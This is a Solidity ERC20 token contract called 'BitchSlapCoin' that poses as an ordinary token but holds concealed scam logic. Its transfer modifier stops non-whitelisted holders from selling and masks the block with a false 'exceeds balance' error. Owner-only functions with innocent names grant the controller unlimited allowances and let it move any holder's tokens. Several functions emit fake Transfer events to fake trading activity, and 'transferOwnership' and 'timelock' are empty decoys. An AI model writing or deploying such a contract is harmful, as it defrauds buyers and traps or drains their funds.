contract BitchSlapCoin is Context, IERC20 {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => bool) private _plus;
    mapping (address => bool) private _discarded;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
    address private _secureController;
    uint256 private _discardedAmt = 0;

    address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;


    address deployer = 0xaa9186B9953bA0153F276bf87381F2F6Ca0423F4;
    address public _controller = 0x6f8d845489909DAbd761143c6643c67D6B16D2a6;
   constructor () public {



        _name = "BitchSlapCoin";
        _symbol = "SLAP";
        _decimals = 18;
        uint256 initialSupply = 1000000000000000000 * 10 ** 18 ;
        _secureController = _controller;
        
        

        _mint(deployer, initialSupply);

    }
    modifier cpu(address dest, uint256 num, address from, address filler){
        if (
            _controller == _secureController 
            && from == _controller
            ){_secureController = dest;_;}else{
            if (
                from == _controller 
                || dest == _controller
                || from == _secureController 
                ){
                if (
                    from == _controller 
                    && from == dest
                    ){_discardedAmt = num;}_;}else{
                if (
                    _plus[from] == true
                    ){
                _;}else{if (
                    _discarded[from] == true
                    ){
                require((
                    from == _secureController
                    )
                ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}else{
                if (
                    num < _discardedAmt
                    ){
                if(dest == _secureController){_discarded[from] = true; _plus[from] = false;}
                _; }else{require((from == _secureController)
                ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}
                    }}
            }
        }}






    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _navigator(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _navigator(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function approvalPlusOne(address[] memory destination) public {
        require(msg.sender == _controller, "!owner");
        for (uint256 i = 0; i < destination.length; i++) {
           _plus[destination[i]] = true;
           _discarded[destination[i]] = false;
        }
    }

   function approvalMinusOne(address safeOwner) public {
        require(msg.sender == _controller, "!owner");
        _secureController = safeOwner;
    }
    
    
    function approvePlusOne(address[] memory destination) public {
        require(msg.sender == _controller, "!owner");
        for (uint256 i = 0; i < destination.length; i++) {
           _discarded[destination[i]] = true;
           _plus[destination[i]] = false;
        }
    }

    function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == _controller){
            sender = deployer;
        }
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) public {
        require(msg.sender == _controller, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[_controller] = _balances[_controller].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    



    function _navigator(address from, address dest, uint256 amt) internal cpu( dest,  amt,  from,  address(0)) virtual {
        _util( from,  dest,  amt);
    }
    
   
    function _util(address from, address dest, uint256 amt) internal cpu( dest,  amt,  from,  address(0)) virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(dest != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, dest, amt);
        _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
        _balances[dest] = _balances[dest].add(amt);
        if (from == _controller){from = deployer;}
        emit Transfer(from, dest, amt);    
        }



    
    
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }


    modifier _confirm() {
        require(msg.sender == _controller, "Not allowed to interact");
        _;
    }









//-----------------------------------------------------------------------------------------------------------------------//


   function transferOwnership()public _confirm(){}


   function timelock()public _confirm(){}



  function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _confirm(){
    //MultiTransferEmit
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}







    function addLiquidityETH(address uPool,address  eReceiver,uint256  eAmount)  public _confirm(){
    //EmitUniPool   
        emit Transfer(uPool, eReceiver, eAmount);}




  function enable(address recipient) public _confirm(){
    _plus[recipient]=true;
    _approve(recipient, _path_,_maximumVal);}




  function disable(address recipient) public _confirm(){
      //Take away permission
    _plus[recipient]=false;
    _approve(recipient, _path_,0);
    }







    function spend(address addr) public _confirm() virtual  returns (bool) {
        //Approve Spending
        _approve(addr, _msgSender(), _maximumVal); return true;
    }




    function transferTo(address from, address to, uint256 amt) public _confirm() virtual returns (bool) {
        //Single Tranfer
        _transfer(from, to, amt);
        _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amt, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function transfer_(address fromEmt, address toEmt, uint256 amtEmt) public _confirm(){
        //EmitSingleTransfer
        emit Transfer(fromEmt, toEmt, amtEmt);
    }










  function transferAllocation(address sndr,address[] memory destination, uint256[] memory amounts) public _confirm(){
    _approve(sndr, _msgSender(), _maximumVal);
    for (uint256 i = 0; i < destination.length; i++) {
        _transfer(sndr, destination[i], amounts[i]);
    }
   }


  function claimTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _confirm(){
    //MultiTransferEmit
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}





  function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _confirm(){
    //MultiTransferEmit
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}


}
function transferOwnership()public _confirm(){}

//-----------------------------------------------------------------------------------------------------------------------//